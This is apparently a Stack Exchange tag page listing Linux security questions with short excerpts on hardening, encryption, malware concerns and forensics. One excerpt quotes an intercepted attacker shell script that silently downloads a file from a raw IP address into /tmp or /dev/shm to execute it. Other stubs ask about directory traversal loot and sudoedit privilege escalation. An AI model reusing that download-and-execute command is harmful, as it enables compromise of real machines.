Securing Linux systems and applications; understanding Linux security features.

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2
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2answers
65 views

Protect against virus and malware attacks from website ads with iptables

Lots of websites spread malware by publishing advertisements that distribute malware. Even YouTube's ad network has been compromised in the past. Browser ad blockers and related plugins have there own ...
3
votes
1answer
71 views

Linux log files to back up and review for security

Good morning/afternoon/evening everyone, I am looking into what files I should consistently back up externally from my machine to be able to monitor for any unusual activity. I would look at the files ...
1
vote
2answers
143 views

How to forbid one directory only in TOMOYO (2.5)?

(For example) I want to restrict write access to /home/backup from anybody, except a particular backup script. (To protect from accidental deletion.) For this, I suppose, it is enough to have two ...
0
votes
1answer
83 views

What is the most valuable file you can get using a directory traversal hole [closed]

I am doing a penetration test and I found a directory traversal hole in the web application which enables me to download any readable file in the server. However, I could only download files that is ...
1
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0answers
57 views

Default accounts shutdown, halt, and sync - still shipping?

I'm curious as to whether, and if so why, Unix and Linux distributions still ship with default accounts shutdown, halt and sync. Specifically (from a Red Hat document), sync:x:5:0:sync:/sbin:/bin/...
0
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0answers
54 views

Tuning auditd to be more operational friendly

We are in the process of pushing for a passing SOC-2 audit report, and part of that is to get our auditing act together. Specific to what I'm working on right now auditd. I have a nice set of rules, ...
4
votes
1answer
60 views

Are Linux System Capabilities Considered Mandatory Access Controls?

DAC is not mandatory because access permissions are left up to the resource owner's discretion. Mandatory Access Control (Smack, SELinux, etc) administration can only be accomplished by a process/...
0
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0answers
31 views

How do I execute a file under Linux Mint when it could be 'unsafe'? [duplicate]

Sometimes I find PDF's on the world wide web which I need for a project etc. But I'm afraid to get some sort of malware, virus or whatever on my PC too. I'm using Linux Mint. I would like to download ...
4
votes
5answers
159 views

How to verify if a source code is safe before compiling it?

Sometimes Linux users need to to download a source code to be compiled then executed (the root privileges is granted). Is it possible for a source code to hide malicious code as a part of it? And how ...
43
votes
8answers
11k views

Why am I allowed to access protected Windows files when I boot Ubuntu from USB?

How come I'm allowed to reboot a computer that I don't own, put in a USB, boot ubuntu from it and then access all files stored on the drives available (even critical files such as system files on C ...
0
votes
1answer
79 views

X windows security: VNC and X server vs xpra

I have a CentOS server that currently has no X server on it. It will be used for doing statistical crunching and providing other services (probably via a web interface). The main security for the ...
1
vote
0answers
27 views

Port Knocking origination matching problem

I set up port knocking using first this method using knockd and then I tried using this method using only iptables directly but when both failed I thought I'd check a bit deeper into the problem. ...
21
votes
1answer
937 views

Linux, TRESOR and XTS

I want to switch from using LUKS for full disk encryption to TRESOR. TRESOR tries to prevent cold boot attacks by storing the encryption key in the CPU's registers. It uses the kernel's crypto API for ...
42
votes
5answers
47k views

What can an attacker do with Bluetooth and how should it be mitigated?

What are the security risks of Bluetooth and what technologies and best practices should be used to protect my device? What can an attacker do once a malicious device is paired with mine? ...
8
votes
7answers
5k views

Linux or Windows- the security issue [duplicate]

Possible Duplicate: Open Source vs Closed Source Systems Almost anyone who has grown up on Windows must have had the notion (that I had) of Linux being more secure than Windows- one of reasons ...
4
votes
1answer
44 views

Can going to a bad website on firefox, or installing a malcious firefox plugin, infect other parts of my home folder on a Linux system?

BTW, I don't mean root, just a plain user. I'm worried because I'm scared that if I do such things I could infect my Chromium folder. I got a huge case of OCD.
3
votes
1answer
78 views

What are some vulnerabilities of environment variables (on any platform)?

I am writing a small cross platform Python application (a package manager to be used internally by my corp), and I'm thinking of using something similar to this answer on Stack Overflow to check for ...
9
votes
3answers
408 views

Linux Plausibly Deniable File System

Is there any way to encrypt a linux filesystem in such a way to maintain plausible deniability? E.g. "Hidden OS support," the way Truecrypt and Veracrypt work, they only support Windows OS due to low ...
0
votes
0answers
20 views

Timeout after setting up proxychains

I've installed ProxyChains on my linux machine and I'm trying to hide my IP over the internet. I went on one of those sites that gives you a list of ips, in this case, proxylist.hidemyass.com and got ...
1
vote
2answers
175 views

Server full disk encryption protection from malware

A group of LINUX servers is using dm-crypt to encrypt data. The servers do not store data long-term but are only temporary stopping points for data before it is sent to other systems. The time the ...
15
votes
5answers
2k views

Can a .sh file be malware?

Can a .sh file be a virus or something harmful? Is it like .exe files on Windows? If yes, can someone read this script and tell me if it safe and is it effect any how on GnuPG security? It gives me an ...
3
votes
1answer
103 views

What can I do to separate users best way if they are allowed to run their ruby (python) code

I have Ubuntu server 12.04 on VDS and I allow users to run their own Rails applications on behalf their own accounts. That means: They can use any shell they want They can upload what they want, e.g....
13
votes
3answers
2k views

What does this sh script do if executed?

I have intercepted an attack on my web server that I believe was unsuccessful. The attacker tried to execute this script: #!/bin/sh cd /tmp;cd /dev/shm wget -q http://221.132.37.26/xx -O ...x chmod ...
23
votes
5answers
4k views

Why should one use sudo? [duplicate]

Most modern Linux articles advice using sudo rather than logging into root. This advice is so ingrained, some distros don't automatically allow root login. Indeed they come pre-configured with sudo ...
2
votes
3answers
83 views

Does any malware target Tails?

Tails is not a popular OS and is optimized for security, which makes me doubt there is a significant amount of malware that targets it. I googled "malware targeting tails," and found no relevant ...
6
votes
2answers
185 views

GUI isolation in X11 when entering Truecrypt password

I have been getting a bit paranoid regarding some of my old TrueCrypt containers. The paranoia has got nothing to do with suspicions regarding TrueCrypt itself (after the shut-down last year), rather ...
4
votes
2answers
50 views

How to determine the minimum Linux Kernel version required for a given vulnerability

I have to track vulnerabilities for a legacyish (3.12) Linux Kernel. For this purpose I'm searching on various sites like NVD for new vulnerabilities. Recently I encountered a problem where the ...
1
vote
2answers
37 views

Would saving GPG and SSH keys as another user improve security?

Since e.g. SSH keys under Linux are owned by the user who created them, any applications running as the user, e.g. a web browser, should be able to read them from the ~/.ssh folder. Say that there is ...
2
votes
1answer
591 views

With Ubuntu on Windows 10, could exploits and malware that work on Ubuntu (or related distros) work on Windows? [closed]

So apparently Hell has finally and completely frozen over: the next major update for Windows 10 will be able to natively run Bash, related tools, and even some broader set of Linux binaries/programs ...
21
votes
2answers
2k views

Why would properly logging full http requests be bad practice?

I'm currently looking at Secure Coding Practices documentation provided by Veracode with their code analysis toolsuite. In a "secure logging practices" section, they mention that logging full HTTP ...
7
votes
4answers
1k views

How to trace the actions performed by a virus?

Is that possible to trace the actions performed by a virus? Run Time , stolen data and the files consulted and get the relative impact on my pc.?
7
votes
2answers
263 views

Anti-live forensic programs

Against dead forensics acquisition we can use disk encryption (we can use TrueCrypt for example). I was wondering do software exists against live forensic ? Can you give me a list for windows and ...
-2
votes
1answer
93 views

anti cloning hard disk [closed]

I'm trying to create an "anti-cloning" system. I'd like to know if there's a way to check a unique label on the hard disk, during the boot phase, in order to avoid the machine to continue booting if ...
1
vote
1answer
60 views

How to distinguish malware from system crash?

Recently, I browsed to a website, which appeared to consume all the computer's resources. Although the mouse cursor continued to move, the browser (and other applications) slowed down fast and soon ...
1
vote
0answers
39 views

How does text that is displayed with cat end up trying to execute in the Linux terminal? [duplicate]

Sometimes you accidentally "cat" a binary... only for your terminal to become utterly corrupted, ending up in another code page where all characters are unrecognizable, while your shell spits back at ...
-1
votes
1answer
66 views

Is it reckless to use an Android app to login to a server with SSH?

There is a very similar question here. Recently I came across an Android app that facilitates SSH and requires no permissions. Specifically, "Telnet / SSH Simple Client" by Advanced Planning Corp.. ...
0
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0answers
27 views

Crackle does not work?

I've used to intructions for Crackle but, cannot get this kind of results like in the example. All it does is open up the wireshark like plugin and does not show any results like the picture below. ...
0
votes
2answers
59 views

Is there a server/website specific malware scanner? [closed]

I have multiple Linux CentOS servers that are scanned with the Google Webmaster Tools, and when it finds some malicious code on my servers(shared/dedicated), the ranking of those site drops. What I am ...
11
votes
1answer
204 views

How long to re-seed /dev/urandom in a virtual machine?

I have read plenty about the distinction between /dev/random and /dev/urandom. I understand that the prevailing advice is to use /dev/urandom. The explanation - that 256 bits of 'proper' randomness ...
4
votes
2answers
878 views

Malware (adware?) infection on linux

Recently I've get stuck with a malware(adware/virus ?) which I can't remove. here is the condition: I'm using Linux (Archlinux), it's uptodate and I don't install any packages outside standard repos ...
0
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0answers
17 views

Has Anyone Published the Typical Netstat Profile for TAILS Linux?

Using TAILS, and with concerns typical of anyone security conscious enough to be drawn to it in the first place, I was wondering if boum.org or anywhere else has put the typical netstat profile for ...
0
votes
1answer
69 views

Is this attack vector possible?

I had some suspicious pdf files on my linux computer. I opened it in firefox and Evince pdf reader and I forgot to use VM or any other sandbox. Is it possible the pdf to be infected with any kind of ...
5
votes
3answers
721 views

Did CVE-2016-2324 allowed remote code execution?

Let’s say I have this kind of code : // In revision.c char *path_name(const struct name_path *path, const char *name) // by design, name_path->len is a 32 bits int, but this doesn’t concern name { ...
6
votes
5answers
247 views

VPN with client certificate via managed PKI - where did private key come from?

$company allows Mac users to request a client certificate via Symantec PKI to connect to their SSL VPN server. This process involves going to a specific Symantec website (has some sort of ID to ...
1
vote
2answers
31 views

Protect Public Directories Linux

Just for a brief overview. I have a system that can generate invoices and has a login system for a user to generate his/her invoices. Lets say the platform resides at /platform and the invoices in /...
5
votes
1answer
70 views

Ordering of the PATH environment variable

Locally here on Ubuntu 14.04, my $PATH looks something like this: PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games" When I manually define the path for ...
-2
votes
1answer
41 views

accessing Desktop from Root directory [closed]

I was using aircrack-ng package in my ubuntu 15.04. This package works only under root privileges. Now I want to save .cap file on my desktop using airodump-ng package but everytime I do, it throws an ...
2
votes
1answer
88 views

openssh old version vulnerabilities

My Ubuntu 12.04LTS system currently offers OpenSSH_5.9p1 Debian-5ubuntu1.8, OpenSSL 1.0.1 14 Mar 2012. Besides being old, it does not allow me to use e.g. the option # PubkeyAcceptedKeyTypes ssh-rsa* ...
1
vote
1answer
129 views

Detect port scans on Linux (centos) [closed]

I have OSSEC installed on my hosts. I want to detect port scans and generate an alert in OSSEC. So, how can I detect these port scans? Is it possible reading iptables logs? Do you recommend some ...
0
votes
0answers
81 views

can sudoedit in below context be used to privilege escalate?

We can sudo without supplying a password! Matching Defaults entries for werkzeug on vwebhost: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin ...